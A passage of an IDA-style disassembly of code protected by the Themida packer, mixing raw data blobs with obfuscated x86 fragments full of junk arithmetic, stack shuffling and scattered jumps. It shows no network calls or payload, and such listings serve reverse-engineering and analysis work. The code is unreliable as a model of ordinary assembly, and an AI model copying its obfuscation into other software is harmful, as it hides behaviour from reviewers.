2F377125h dd 0F25E90Ch, 0F2810000h, 5EB92403h, 0E907E2C1h, 0FFFFAFEAh dd 0F23DC5BDh, 5DE80102h, 796CC581h, 0C58105B1h, 56CA1661h dd 0FFC72DE9h, 242C8BFFh, 4C481h, 4DE90000h, 53FFFFA5h dd 0FF453AE9h, 0E18951FFh, 4C181h, 15E90000h, 1FFFFDCh dd 62C781C7h, 58118466h, 0FFF28AE9h, 0EC815AFFh, 4, 54242C89h dd 5D2434FFh, 0E9E78957h, 0FFFEEECBh, 913A69BAh, 9BCA8146h dd 0E9567A12h, 0FFFFFD66h, 4055854h, 2D000000h, 4, 0E9240433h dd 0FFFEDCBBh ; --------------------------------------------------------------------------- loc_563D3C: ; CODE XREF: Themida_:0055BA41j sub ebx, 4 jmp loc_562F1F ; --------------------------------------------------------------------------- loc_563D44: ; CODE XREF: Themida_:0055DE14j push esp pop esi add esi, 4 sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], ebx mov ebx, 79072A6Ch push edx sub esp, 4 mov [esp], eax mov eax, 68E973DEh mov edx, 2D4111C1h xor edx, eax jmp loc_55B618 ; --------------------------------------------------------------------------- dd 7690C981h, 0F18149C4h, 0EBE7F7FDh, 0C8BCE01h, 4C48324h dd 0FF8A5FE9h, 4C481FFh, 68000000h, 696Bh, 0FFBE59E9h dd 5E5456FFh, 4C681h, 0BB530000h, 4, 0E95BDE29h, 0FFFFDB3Dh dd 8704C683h, 685C2434h, 6316h, 0BA241489h, 4, 7E9D701h dd 89000006h, 0E954243Ch, 0FFFFD032h, 34335B5Fh, 24343124h dd 0FF85D8E9h, 0D56852FFh, 0E900000Dh, 0FFFF259Dh ; --------------------------------------------------------------------------- loc_563DF4: ; CODE XREF: Themida_:0055566Fj add ecx, edi jmp loc_557A17 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 24348900h, 24348B54h, 4C481h, 0C6810000h, 4, 7D28E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563E1A: ; CODE XREF: Themida_:0055E813j mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] push ebp push 40h jmp loc_552AD8 ; --------------------------------------------------------------------------- dw 0B868h dd 0E900001Eh, 0FFFFEEE0h, 9DE9CD31h, 81FFFF7Bh, 0CC9A21F7h dd 5FFD29BDh, 5E9EA89h, 81FFFFB5h, 1E745EEEh, 47E95172h dd 52FFFECFh, 343983BAh, 7036E943h, 0D1F6FFFFh, 8842E980h dd 0D83059CBh, 5B2434FFh, 4EC81h, 0C890000h, 4EC8324h dd 68242489h, 152Dh, 0BE243489h, 4, 4247401h, 0FF34A5E9h dd 9CE943FFh, 8BFFFEFBh, 0C4812434h, 4, 8B24048Fh, 15E92424h dd 87FFFFB2h, 248B2404h, 242CD224h, 0B940E99Ch, 0EF81FFFEh dd 5D9971C1h, 7A19C781h, 0D7011D60h, 9DE95152h, 89FFFEBCh dd 0D2E9240Ch db 3Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563EF3: ; CODE XREF: Themida_:00554256j xor ebx, 685D77BEh add edx, ebx jmp loc_55F99C ; --------------------------------------------------------------------------- dd 4C781h, 0C7830000h, 243C8704h, 8124248Bh, 2C6h, 24343300h dd 0FF1EE7E9h, 2EEF81FFh, 5A12D849h, 4C781h, 7EE90000h db 86h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563F2F: ; CODE XREF: Themida_:00555D4Fj add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp sub esp, 4 mov [esp], ebx push 5D6E4631h mov ebx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp inc ebx push ecx push edx mov edx, 7D751D90h not edx add edx, 75C46BB4h or edx, 7D867D40h jmp loc_55A5BA ; --------------------------------------------------------------------------- dw 0CB87h dd 0D3E9D1F7h, 8FFFFFABh, 0EC812404h, 4, 0E9240C89h, 0FFFFCDD3h dd 59EAC181h, 3C8B7895h, 4C48324h, 0E9240C87h, 0FFFFE2BFh dd 0E9240489h, 0FFFFA179h ; --------------------------------------------------------------------------- loc_563FAC: ; CODE XREF: Themida_:0055FF47j mov edi, 522C2BA1h inc edi jmp loc_55CAC8 ; --------------------------------------------------------------------------- db 66h dd 2404A30Fh, 0B854E99Ch, 1C89FFFEh, 73E3BB24h, 0C381460Eh dd 1AE86E54h, 5BEFE381h, 0DBF73AC8h, 5F1EC381h, 0E952732Dh dd 0FFFF36ECh, 24048B66h, 0FF767CE9h, 0F2814AFFh, 7D965E13h dd 0AF32BF57h, 0FA295D6Eh, 5AD5315Fh, 0FFDE80E9h, 4678BAFFh dd 0EA817252h, 232429F2h, 0FF0170E9h, 81D3F7FFh, 0A05C06E3h dd 0E7CB812Ch, 81161176h, 287D36C3h, 5BDA012Bh, 0E95AD589h dd 259h, 5C241C87h, 54243489h, 41C6E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564042: ; CODE XREF: Themida_:005546E8j push ebp pop eax pop ebp and edi, eax pop eax push ecx mov ecx, 6AA1EBFh jmp loc_55CEC7 ; --------------------------------------------------------------------------- loc_564053: ; CODE XREF: Themida_:00551A7Cj push esp pop ebp push edi jmp loc_55E818 ; --------------------------------------------------------------------------- db 66h dd 8324048Bh, 348904ECh, 3D7F6824h, 24890000h, 24048124h dd 4, 5E2434FFh, 0FF32E7E9h, 4C681FFh, 83000000h, 3C8904ECh dd 4BF24h, 0C6810000h, 1C741FE2h, 0E5E9FE01h, 53FFFF4Dh dd 736668h, 24048900h, 0C65B7268h, 24048B5Dh, 0FF3904E9h dd 7E1235FFh, 0BA521E1Fh, 7F5E6FF1h, 0E95AD329h, 0ADFh dd 3734E181h, 814960E4h, 0B30828F1h, 59CB3159h, 449EC381h dd 0DBF73C26h, 43FF381h, 0D901C5C5h, 1771E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5640EA: ; CODE XREF: Themida_:00563ADAj add eax, 4 xchg eax, [esp] mov esp, [esp] pop esi jmp loc_5644B4 ; --------------------------------------------------------------------------- db 59h dd 0FF7FF9E9h db 0FFh ; --------------------------------------------------------------------------- loc_564101: ; CODE XREF: Themida_:0055239Fj sub ebx, 24512959h add ebx, ebp add ebx, 24512959h pop ebp add ebx, ebp sub ebx, 6F0E60EBh sub ebx, 75B40CCCh mov ebp, [esp] jmp loc_55D066 ; --------------------------------------------------------------------------- dw 0FD01h dd 0FF97E1E9h, 24048BFFh, 4C481h, 48F0000h, 24248B24h dd 0E924048Fh, 0FFFEB6D2h, 0FF2434FFh, 53582434h, 0C381E389h dd 4, 0FF2F65E9h, 2474FFFFh, 48F5E04h, 22BE5C24h, 0E96480F1h dd 0FFFF96E4h, 0FF2434FFh, 81582434h, 4ECh, 242C8900h dd 0C5815D54h, 4, 0E904C583h, 0FFFFA496h ; --------------------------------------------------------------------------- loc_56418C: ; CODE XREF: Themida_:0055CEC9j xor ecx, 6C59C1C4h jmp loc_55BBB8 ; --------------------------------------------------------------------------- db 0BDh dd 1, 34FFEA89h, 54515D24h, 4BE5659h, 1000000h, 0C1815EF1h dd 4, 5C240C87h, 3C73D505h, 0E9D0292Ch, 0FFFFCA2Fh, 0FF2434FFh dd 50582434h, 8E95854h, 83FFFEC7h, 3C8704C4h, 0E9525C24h dd 0FFFEE3E4h, 87E9E588h, 0F7FFFF59h, 0B7CB81DBh, 0E90ABA59h dd 0FFFF4AF9h, 3002BA52h, 0D30129C7h, 0E6C3815Ah, 2935A23Ch dd 0E6EB81FBh, 5535A23Ch, 0D04500BDh, 0B9E9502Bh, 68FFFFDFh dd 5498h, 0FFAB41E9h db 0FFh ; --------------------------------------------------------------------------- loc_564221: ; CODE XREF: Themida_:00550B3Aj mov [esp], eax jmp loc_54FAB5 ; --------------------------------------------------------------------------- db 5Bh, 51h, 89h dd 4C181E1h, 81000000h, 4C1h, 240C8700h, 2C6835Ch, 0FFD34DE9h db 0FFh ; --------------------------------------------------------------------------- loc_564245: ; CODE XREF: Themida_:00553B59j pop ecx push 7127h mov [esp], edx mov edx, 49F64FA5h sub esp, 4 jmp loc_5589A5 ; --------------------------------------------------------------------------- db 0BBh dd 75AD01BEh, 0FF9B1EE9h, 243489FFh, 0FF7FA5E9h db 0FFh ; --------------------------------------------------------------------------- loc_56426D: ; CODE XREF: Themida_:0055AEF3j add edx, ecx mov ecx, [esp] add esp, 4 push ebx mov ebx, 4B82062Dh sub ebx, 4B820629h add edx, ebx pop ebx xchg edx, [esp] pop esp jmp loc_54F816 ; --------------------------------------------------------------------------- db 29h, 6Ch, 24h dd 242C8B04h, 0E904C483h, 0FFFFB8FBh, 4C681h, 0EE810000h dd 4, 5C243487h, 0E9241C89h, 0FFFEF499h, 4B951h, 0CB890000h dd 5BDD0159h, 0FFF218E9h, 4C483FFh, 5457E581h, 0B8507344h dd 34157DBBh, 8158C521h, 2E91B7EDh, 0C13DE9ADh, 0E289FFFFh dd 0FFD38CE9h db 0FFh ; --------------------------------------------------------------------------- loc_5642E9: ; CODE XREF: Themida_:00564CF1j push edx push 31984E81h mov edx, [esp] jmp loc_55F788 ; --------------------------------------------------------------------------- db 1 dd 0EE8158C6h, 4, 8B243487h, 0C892424h, 0F2E95424h, 81FFFF29h dd 4C4h, 0FC33000h, 34FFC0B6h, 2A5EE987h, 0EB80FFFFh, 0E9C30010h dd 0FFFF492Fh ; --------------------------------------------------------------------------- loc_56432C: ; CODE XREF: Themida_:00562A5Fj mov eax, esi pop esi shr eax, 2 xor eax, 1EE9F815h add ebx, 6D0E0180h jmp loc_557E78 ; --------------------------------------------------------------------------- loc_564342: ; CODE XREF: Themida_:005564DFj mov [esp], edi mov edi, 6D327EF3h jmp loc_5513E2 ; --------------------------------------------------------------------------- loc_56434F: ; CODE XREF: Themida_:0055B508j pop eax sub bl, al jmp loc_553A62 ; --------------------------------------------------------------------------- loc_564357: ; CODE XREF: Themida_:00556F73j add esp, 4 pop eax loc_56435E: ; CODE XREF: Themida_:00550526j push eax jmp loc_555093 ; --------------------------------------------------------------------------- loc_564364: ; CODE XREF: Themida_:0055B84Fj mov [esp], edx push ecx push 5C29650Eh jmp loc_557B02 ; --------------------------------------------------------------------------- dw 0E789h dd 0FFF1CBE9h, 240C33FFh, 0E924248Bh, 0FFFEB492h, 0E9D10158h dd 0FFFF6086h, 76B3F1B4h, 0D07CCB80h, 0B76AE9E3h, 0ED81FFFFh dd 50DC0D61h, 25C0C281h, 0EA8140A9h, 19F12276h, 0BD55EA01h dd 2EC229C4h, 505BED81h, 0EDC11FA1h, 5E5C105h, 0FB16F581h dd 0C28116D1h, 5290B8Ch, 0B7E9EA01h db 0BFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5643D3: ; CODE XREF: Themida_:00562E57j add ebp, ebx jmp loc_563354 ; --------------------------------------------------------------------------- dw 148Bh dd 0F6B9E924h, 0CF68FFFEh, 0E9000069h, 0FFFED8D1h, 7C1C2DADh dd 3FE978B4h db 7Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5643F7: ; CODE XREF: Themida_:0054FC1Dj push dx mov dl, 9Fh jmp loc_556361 ; --------------------------------------------------------------------------- loc_564400: ; CODE XREF: Themida_:0055F8DBj pop esi mov ecx, ebx pop ebx jmp loc_56286A ; --------------------------------------------------------------------------- db 80h, 0C3h, 0Dh dd 5A2434FFh, 8B04C483h, 54562414h, 4C6815Eh, 83000000h dd 348704C6h, 8BE95C24h, 83FFFFE9h, 3C8904ECh, 0EC56824h dd 8F540000h, 0E3E92404h, 81FFFF08h, 0CD0CB1EDh, 0EFD3E953h dd 8B66FFFEh, 8956240Ch, 52B850E6h, 0E9029323h, 0FFFF231Eh ; --------------------------------------------------------------------------- loc_56445C: ; CODE XREF: Themida_:00556EC7j mov edi, [esp] jmp loc_554D5C ; --------------------------------------------------------------------------- dd 5F0968h, 242C8900h, 0FF779DE9h, 4E983FFh, 5C240C87h dd 0FFAAF6E9h, 4C283FFh, 5C241487h, 0F4E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56448A: ; CODE XREF: Themida_:0055A1E5j sub al, ch jmp loc_55A5AE ; --------------------------------------------------------------------------- db 55h, 0BDh, 0Ah dd 11C221Bh, 2C8B5DEFh, 4C48124h, 87000000h, 685C243Ch dd 2796h, 0E9240489h, 0FFFF94E1h ; --------------------------------------------------------------------------- loc_5644B4: ; CODE XREF: Themida_:005640F6j pop ecx and ebx, edx jmp loc_55205E ; --------------------------------------------------------------------------- dd 8324048Bh, 0EC8304C4h, 5FD8E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5644CA: ; CODE XREF: Themida_:0055EDFEj add esp, 4 shl esi, 1 sub esi, 7EF0A9B7h mov edx, esi pop esi sub esp, 4 mov [esp], esi jmp loc_55782D ; --------------------------------------------------------------------------- db 5Ch, 0E9h, 75h db 0B0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5644EF: ; CODE XREF: Themida_:00558633j mov ecx, [esp] add esp, 4 jmp loc_55D3B2 ; --------------------------------------------------------------------------- db 68h, 3Fh, 39h dd 14890000h, 0D6D2E924h, 31ADFFFEh, 2B3868D8h, 1C890000h dd 731ABB24h, 0D8314664h, 0FF2434FFh, 815B2434h, 4C4h dd 4EC8300h, 89240C89h, 0FCE1E9E1h, 4ACFFFFh, 75CCE93Fh dd 0D601FFFFh, 299AE95Ah, 48FFFFFh, 1DAB6824h, 4890000h dd 65F9B824h, 0EC052275h, 5657AA4Eh, 8F702FBEh, 0D0F68141h dd 1BE708Fh, 662D5EF0h, 0C115CA24h, 0E2E908E0h, 0B8FFFFC5h dd 6B6D482Bh, 0C104E8C1h, 222D05E0h, 29D32C15h, 0BFE958C3h dd 8BFFFF2Bh, 0C481243Ch, 4, 0E9243487h, 4B9h, 405E089h dd 57000000h, 4BFh, 5FF82900h, 0FECADEE9h, 0C0C681FFh dd 893F6644h, 0C5815EF5h, 436229C0h, 0FFB1DAE9h, 0C8B54FFh dd 4C48324h, 4C181h, 0C1810000h, 4, 7AFF68h, 3960E900h dd 0BA52FFFFh, 603C52B9h, 2F5168h, 24348900h, 0FF1BCBE9h db 0FFh ; --------------------------------------------------------------------------- loc_5645F9: ; CODE XREF: Themida_:00555E58j push eax push ebp mov ebp, 56F006E2h mov eax, ebp pop ebp jmp loc_552ED7 ; --------------------------------------------------------------------------- loc_564608: ; CODE XREF: Themida_:00562981j add eax, 2A857EC6h mov edi, [esp] sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_550031 ; --------------------------------------------------------------------------- loc_564639: ; CODE XREF: Themida_:005508BAj add ebx, 0F061FCAh jmp loc_55221F ; --------------------------------------------------------------------------- dd 0BB535156h, 36227683h, 4245C31h, 0FFAA12E9h db 0FFh ; --------------------------------------------------------------------------- loc_564655: ; CODE XREF: Themida_:0054FB46j and edi, 67E82A40h shr edi, 5 xor edi, 4029326Eh jmp loc_5542E1 ; --------------------------------------------------------------------------- loc_564669: ; CODE XREF: Themida_:0055B6F6j mov eax, 283C32C0h sub eax, edx pop edx add edx, eax push dword ptr [esp] pop eax sub esp, 4 mov [esp], edi push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_55AA6B ; --------------------------------------------------------------------------- loc_564697: ; CODE XREF: Themida_:0055DAC8j add ebp, eax pop eax push edi mov edi, 396520CDh inc edi xchg ecx, edi not ecx jmp loc_550165 ; --------------------------------------------------------------------------- dw 3C89h dd 730AE924h, 0E929FFFFh, 2434FF5Dh, 0C7B0E95Ah, 34FFFFFFh dd 2434FF24h, 0FF65BCE9h, 240489FFh, 0BAE97FB0h db 0C4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5646D3: ; CODE XREF: Themida_:0055DAD5j push 0D16h mov [esp], ecx mov ecx, 7EF343FDh sub edx, 713A467Ah sub edx, ecx jmp loc_561825 ; --------------------------------------------------------------------------- db 5Ah, 1, 0CBh dd 1D3E9h, 0C8B6600h, 2BE06824h, 63E90000h, 0FFFFED5h dd 8B66C0B6h, 0E8682414h, 89000028h, 0F4E9243Ch db 0CBh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_564717: ; CODE XREF: Themida_:0055F3EBj sub edi, ecx push edx mov edx, 670A0436h jmp loc_552B58 ; --------------------------------------------------------------------------- dd 5239C381h, 0EB813226h, 0AFB76D2Dh, 0FFC20CE9h, 4C281FFh dd 0E9000000h, 0FFFECE86h ; --------------------------------------------------------------------------- loc_564740: ; CODE XREF: Themida_:0056234Bj sub edx, 4 xchg edx, [esp] pop esp mov [esp], edx jmp loc_55B6ED ; --------------------------------------------------------------------------- dw 5F25h dd 2D2E7031h, 8C34F87Ch, 0FF4B9AE9h db 0FFh ; --------------------------------------------------------------------------- loc_564761: ; CODE XREF: Themida_:0055E1A5j mov ecx, 0 jmp loc_55434B ; --------------------------------------------------------------------------- db 66h dd 0E924048Bh, 0FFFFA26Dh ; --------------------------------------------------------------------------- loc_564774: ; CODE XREF: Themida_:0055E288j pop esp push ecx jmp loc_55ABF6 ; --------------------------------------------------------------------------- db 89h dd 6606E9E2h, 3487FFFFh, 0C895C24h, 0C8B5424h, 4C48324h dd 0FEEC46E9h db 0FFh ; --------------------------------------------------------------------------- loc_564795: ; CODE XREF: Themida_:00555ACCj mov [esp], ebx jmp loc_5599EE ; --------------------------------------------------------------------------- db 35h, 0E3h, 1Dh dd 0C6896837h, 0E9DEF758h, 0FFFF2328h, 685DEB01h, 5144h dd 0FF506AE9h, 240489FFh, 0FEC280E9h, 0C8BF0FFFh, 70B168h dd 240C8900h, 0C102E954h, 685BFFFEh, 39EDh, 0B2241489h dd 0B4E952F6h db 0A5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5647E3: ; CODE XREF: Themida_:00553654j add esi, 30BB133Ch shr esi, 7 jmp loc_55D749 ; --------------------------------------------------------------------------- align 2 dw 5AD1h dd 0FFD56CE9h, 4C481FFh, 0E9000000h, 0FFFFEFEFh, 0B60F6664h dd 23386802h, 14890000h, 6DB16824h, 0EC810000h, 4, 0E9242489h dd 0FFFF5576h, 0E904C183h, 0FFFEC12Fh, 5E95559h db 0B6h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_564833: ; CODE XREF: Themida_:00562835j mov edx, 4 add ebp, edx pop edx jmp loc_55448B ; --------------------------------------------------------------------------- loc_564840: ; CODE XREF: Themida_:005519ADj mov ebp, ecx pop ecx xor ebx, ebp pop ebp jmp loc_55B626 ; --------------------------------------------------------------------------- loc_56484B: ; CODE XREF: Themida_:0055EEB0j mov esp, [esp] mov [esp], ebx push edx jmp loc_56279A ; --------------------------------------------------------------------------- db 5 dd 0FC03D016h, 2958C389h, 241C8BDAh, 4C481h, 28E90000h db 0B5h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56486F: ; CODE XREF: Themida_:005547B8j push dword ptr [esp] pop ebp add esp, 4 sub edi, esi sub edi, 7B937A6Dh pop esi push 0 jmp loc_55CDF7 ; --------------------------------------------------------------------------- loc_56488C: ; CODE XREF: Themida_:00551083j mov ebx, 119101A1h push esi mov esi, 9002475h add ebx, esi pop esi neg ebx jmp loc_56112C ; --------------------------------------------------------------------------- db 33h, 1Ch, 24h dd 33241C31h, 665C241Ch, 9C240CD3h, 0FEAF61E9h db 0FFh ; --------------------------------------------------------------------------- loc_5648B5: ; CODE XREF: Themida_:0055409Cj add edx, 4E0D116Ch xor eax, edx mov edx, [esp] add esp, 4 jmp loc_5508E8 ; --------------------------------------------------------------------------- dd 81240C8Bh, 4C4h, 1B76E900h, 0F681FFFFh, 5B54BEE6h, 0FF6FC7E9h dd 885958FFh, 0EC815AD4h, 4, 0FF5DB2E9h, 705FFh, 0D8F77A2Eh dd 3B4BE956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5648FE: ; CODE XREF: Themida_:00551BC0j mov ebx, [esp] add esp, 4 push eax mov eax, 0C669913Ch sub ebp, eax pop eax sub ebx, ebp jmp loc_563AB1 ; --------------------------------------------------------------------------- db 83h dd 1C8704EBh, 24248B24h, 54241489h, 4C2815Ah, 68000000h dd 5FDCh, 0FF66F9E9h, 243C8BFFh, 4C481h, 0ABE90000h, 54FFFF8Dh dd 4C18159h, 50000000h, 74FC6853h, 0C15B396Bh, 0F38103E3h dd 0CB5BA7E4h, 0E95BD889h, 0FFFF1AF8h, 0C103E5C1h, 0ED8102EDh dd 4FA02CE9h, 0FEEA30E9h db 0FFh ; --------------------------------------------------------------------------- loc_564975: ; CODE XREF: Themida_:0054F828j add esp, 4 jmp loc_551F4E ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 4C481h, 0C7830000h, 243C8704h, 3124248Bh, 0F7E92404h db 20h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564997: ; CODE XREF: Themida_:0055478Dj push edx jmp loc_554AF6 ; --------------------------------------------------------------------------- loc_56499D: ; CODE XREF: Themida_:00552A1Cj pop esp jmp loc_55496E ; --------------------------------------------------------------------------- db 8Fh dd 4832404h, 535E0424h, 1D8CBD55h, 90BB569Ch, 29569C1Dh dd 0B9515DEBh, 5433326Bh, 0C181D1F7h, 0C0D78E12h, 5159CE01h dd 0FF169CE9h, 0AE40E9FFh, 895CFFFEh, 30BE2434h, 0E9610F26h dd 0FFFEB84Fh, 0F359E95Ah, 0C483FFFEh, 40E95F04h, 8BFFFFA8h dd 0F4E92424h, 8BFFFFE6h, 0C481242Ch, 4, 0FFF139E9h, 0D6CA81FFh dd 81145323h, 971D17E2h, 8DB5E938h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564A1A: ; CODE XREF: Themida_:0055A565j xchg ebp, [esp] pop esp add ebx, 4 sub esp, 4 mov [esp], ecx jmp loc_555DEA ; --------------------------------------------------------------------------- db 0FFh dd 48B2434h, 4C48124h, 68000000h, 444Ah, 89241489h, 4C281E2h dd 81000000h, 4C2h, 24148700h, 0FF7D37E9h, 0BF575CFFh dd 7334DFBh, 6248CF81h, 0C78121DCh, 25E56FFh, 2557F781h dd 0E78166A1h, 10F463Bh, 4227BB53h, 7AE9000Ch db 81h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564A83: ; CODE XREF: Themida_:00559C2Cj add al, ch pop ecx jmp loc_555C51 ; --------------------------------------------------------------------------- db 68h dd 5D2B776Fh, 4E3C15Bh, 0FF94F9E9h, 240C89FFh, 0FFECE9E9h dd 0E78957FFh, 0FFF457E9h, 72D4B9FFh, 0CF892AE2h, 0E9FA2959h dd 0FFFFECC0h, 5E54565Ah, 0FEDE72E9h db 0FFh ; --------------------------------------------------------------------------- loc_564AC1: ; CODE XREF: Themida_:00551447j push ax pushf jmp loc_54F816 ; --------------------------------------------------------------------------- db 4, 9Ch, 4 dd 0F00DE901h, 0F701FFFFh, 4C7835Eh, 31243C33h, 3C33243Ch dd 24248B24h, 1A68C331h, 89000043h, 73BE2434h, 13BF927h dd 24348BF2h, 8304C483h, 3C8904ECh, 0A2BD5524h, 0BF5BB66Fh dd 75682266h, 815DEF31h, 185B8CC2h, 4CA0E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564B1A: ; CODE XREF: Themida_:0055D6CFj add cl, 6 xor dl, cl jmp loc_5506E6 ; --------------------------------------------------------------------------- loc_564B24: ; CODE XREF: Themida_:0055CE04j mov ecx, 0C50ADD72h sub edi, ecx jmp loc_55743F ; --------------------------------------------------------------------------- dd 81243C8Bh, 4C4h, 56EBD100h, 6624A7BEh, 0BEBF575Bh, 21193302h dd 65E95FFEh, 0FFFFFF30h, 68592434h, 70E6h, 89240489h dd 0BF5755E0h, 2F1E6CCFh, 0FF140CE9h, 0C0D6F6FFh, 0F1E906EEh dd 81FFFF95h, 4C4h, 0EC815000h, 4, 0BE243489h, 5F6B1039h dd 348BF089h, 4C48124h, 68000000h, 77F7h, 0F7240489h, 68E9241Ch dd 1FFFF9Eh, 0F1C381C3h, 8B7F5E6Fh, 0C4832404h, 23D26804h dd 34890000h, 34FF5424h, 85ADE924h, 0C483FFFFh, 74FF5604h dd 0D5E90424h, 35FFFF4Ch, 18436EA6h, 895C9335h, 13F8E944h dd 248BFFFFh, 97E95224h db 44h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564BE7: ; CODE XREF: Themida_:005544E8j pop edx jmp loc_5543DA ; --------------------------------------------------------------------------- db 0C0h, 0E8h, 4 dd 0C380402Ch, 3E24E9EBh, 9F68FFFFh, 0E9000055h, 0FFFFDA6Fh dd 8F04C483h, 0A4E92404h db 1Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564C0F: ; CODE XREF: Themida_:00557B0Bj pop esi push ebp mov ebp, 7FD977D2h sub ebp, 413B2618h xor ebp, 23C12D6h xor ebp, 3B393E68h and ebp, 786A081Ah add ebp, 0E9E9F721h jmp loc_550BB1 ; --------------------------------------------------------------------------- loc_564C39: ; CODE XREF: Themida_:0055D069j xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp sub dword ptr [edi+20h], 538322FDh push dword ptr [edi+20h] dec dword ptr [esp] pop dword ptr [edi+20h] push ebp mov ebp, 0AFE113DCh sub [edi+20h], ebp mov ebp, [esp] jmp loc_55F413 ; --------------------------------------------------------------------------- dd 0BD55E389h, 281C6A56h, 0FFB870E9h, 59CA29FFh, 2414875Bh dd 0E924248Bh, 0FFFFF5E5h, 32B96855h, 24890000h, 24048324h dd 2434FF04h, 4C4815Dh, 81000000h, 4C5h, 0C2E95100h, 89FFFF1Ah dd 0ACB5240Ch, 0CD80E5D0h, 0E9E5D068h, 0FFFF8B5Dh, 4C481h dd 1FE90000h, 81FFFF6Ch, 4EDh, 0F6E95500h, 83FFFEEEh, 143302C2h dd 1B19E924h, 0EC83FFFFh, 243C8904h, 0FF0826E9h, 60EB80FFh dd 0FF6443E9h db 0FFh ; --------------------------------------------------------------------------- loc_564CE9: ; CODE XREF: Themida_:00554B1Bj add ecx, 4 xchg ecx, [esp] pop esp push ecx jmp loc_5642E9 ; --------------------------------------------------------------------------- dw 0C500h dd 0BF686658h, 7F23E903h, 2C8BFFFFh, 8B545224h, 1BE92414h dd 1FFFEB0h, 0FEEA81CAh, 597D193Ah, 0E9241487h, 0FFFF973Eh ; --------------------------------------------------------------------------- loc_564D20: ; CODE XREF: Themida_:0055D11Ej push ecx mov edx, [esp] push 0AD4h mov [esp], ebx mov ebx, esp push ebp mov ebp, 1B7417BAh and ebp, 0DB851F9h neg ebp jmp loc_55814D ; --------------------------------------------------------------------------- loc_564D41: ; CODE XREF: Themida_:00561F5Cj pop ecx add esp, 4 xor ebx, 7F4D2AD9h add eax, ebx pop ebx push 1D0h mov [esp], ecx push 2 pop ecx add eax, 230E5750h add eax, ecx jmp loc_5565E5 ; --------------------------------------------------------------------------- db 0F7h dd 7DEE81DEh, 8174087Ah, 0C001DE6h, 77EE8140h, 0E96C34F6h dd 0FFFFB099h, 0F702E0C1h, 0E0D148D0h, 7A18E335h, 0E9C78930h dd 0FFFEFFA1h, 9CB15166h, 2DE9C800h, 58FFFFEEh, 0FFA232E9h dd 84EE81FFh, 0E9692F3Bh, 0FFFF82DDh, 83242489h, 8B042404h dd 7AE92434h db 29h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564DC3: ; CODE XREF: Themida_:00551825j pop ecx push edx mov edx, 5F925B8Fh and edx, 59136A62h add edx, 0E029CDB3h sub ecx, edx pop edx add ecx, 13317848h add ecx, eax sub ecx, 13317848h add ecx, 393C17B5h jmp loc_56291C ; --------------------------------------------------------------------------- dw 0FA29h dd 0FF19A5E9h db 0FFh ; --------------------------------------------------------------------------- loc_564DF9: ; CODE XREF: Themida_:00550361j pop ecx push edi mov edi, 2B496203h xor edi, 19523A48h neg edi jmp loc_555660 ; --------------------------------------------------------------------------- db 33h, 3Ch, 24h dd 0E9243C31h, 0FFFF21E9h ; --------------------------------------------------------------------------- loc_564E18: ; CODE XREF: Themida_:005615F4j mov eax, 90C1F0ACh mov edx, eax pop eax add edx, ebp pop ebp jmp loc_5565EB ; --------------------------------------------------------------------------- dd 6EF4EF81h, 0C78110BDh, 3CF90EB0h, 4C7835Ah, 2474FF57h dd 243C8B04h, 8F04C483h, 248B2404h, 0E6895624h, 4C681h dd 0C6810000h, 4, 2474FF56h, 4B40E904h, 8953FFFFh, 4C381E3h dd 83000000h, 1C8704C3h, 0C7815C24h, 4, 4BD55h, 0EF290000h dd 53242C8Bh, 0FFECCAE9h, 4EC81FFh, 89000000h, 8B542434h dd 0C4812434h, 4, 4C681h, 54530000h, 0FF756EE9h, 0A9C181FFh dd 8120040Ah, 7A5D57C1h, 59C889E0h, 0D8F7D8F7h, 0E904E0C1h dd 0E4h ; --------------------------------------------------------------------------- loc_564EC4: ; CODE XREF: Themida_:00554971j mov edx, 623170FCh add [esp+4], edx pop edx push dword ptr [esp] pop esi push edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edx add edx, 4 add edx, 4 jmp loc_5579D4 ; --------------------------------------------------------------------------- dw 495Fh dd 2F2EC981h, 62E963ECh, 0BBFFFF30h, 69B675C5h, 0FEFA89E9h dd 71E6BEFFh, 0F681795Dh, 438BC9BAh, 0FEFDCCE9h, 3D2EBBFFh dd 0D3F7459Dh, 0FAE9E3D1h db 38h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564F27: ; CODE XREF: Themida_:005557E4j pop ecx sub ebp, 4 xchg ebp, [esp] jmp loc_55D764 ; --------------------------------------------------------------------------- db 5Bh dd 5407F281h, 0D029E576h, 2434FF5Ah, 0E289525Dh, 